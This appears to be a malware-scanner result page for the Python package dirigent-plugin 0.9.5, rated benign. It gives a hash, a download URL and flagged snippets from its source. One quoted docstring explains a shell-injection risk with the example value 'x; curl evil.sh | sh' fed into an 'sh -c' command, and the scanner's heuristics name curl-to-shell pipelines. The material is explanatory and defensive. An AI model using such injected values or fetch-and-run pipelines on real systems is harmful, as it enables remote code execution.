Benign python Download

dirigent-plugin 0.9.5

“The dirigent plugin contract: block specs, protocols, and markers.”

Python storage backend interfaceParses JSON data with Python

SHA-256fe7927a74d7eda89f140e389e5b0b6d915ec7050454075b02cc465cad31eea64

URLhttps://files.pythonhosted.org/packages/9c/c6/a49bde8240a9e4a96ad52990f230b59de3942e568bf17d64b952755894f4/dirigent_plugin-0.9.5-py3-none-any.whl

MaleculeH₂(DbPo₂)Md(Pa)

Evidence

Embedded shell command string uses -c blocks.py · lines 85–88

42… d value is handed to a shell to parse.
86
  A block that runs ``sh -c`` on a config string has a problem the block cannot solve on
  its own: by the time it sees the string, the engine has alread …

References a curl- or wget-to-shell pipeline blocks.py · lines 90–94

18… able from one that arrived in a webhook payload. So ``command: "load
  ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
  reachable by whoever can POST to a webhook.
93
  Marking the field pushes the knowledge to where the …

Python storage backend interface blocks.py · lines 259–267

259:18… roup_from_id(data)
260
261
262class StatResult(BaseModel):
263    """What a storage backend knows about one object without reading it."""
264
265    uri: str = Field(min_length=1)
266    size: int = Field(ge=0)
267    modified_at:  …

Python getattr dynamic attribute lookup blocks.py · lines 713–716

16… face, collected in merged.items():
          collected.extend(getattr(contribution, surface))
  formats: dict[str, FormatCheck] = {}
  _require_unique("format", [name for contribution in contri …

Parses JSON data with Python transforms.py · lines 496–501

49… put_uri, config.max_input)
  try:
      parsed: JsonValue = json.loads(payload)
  except ValueError as error:
      raise BlockFailure(
          f"{config.input_uri} does not hold JSON: {erro …

No evidence locations were recorded for this file. Raw result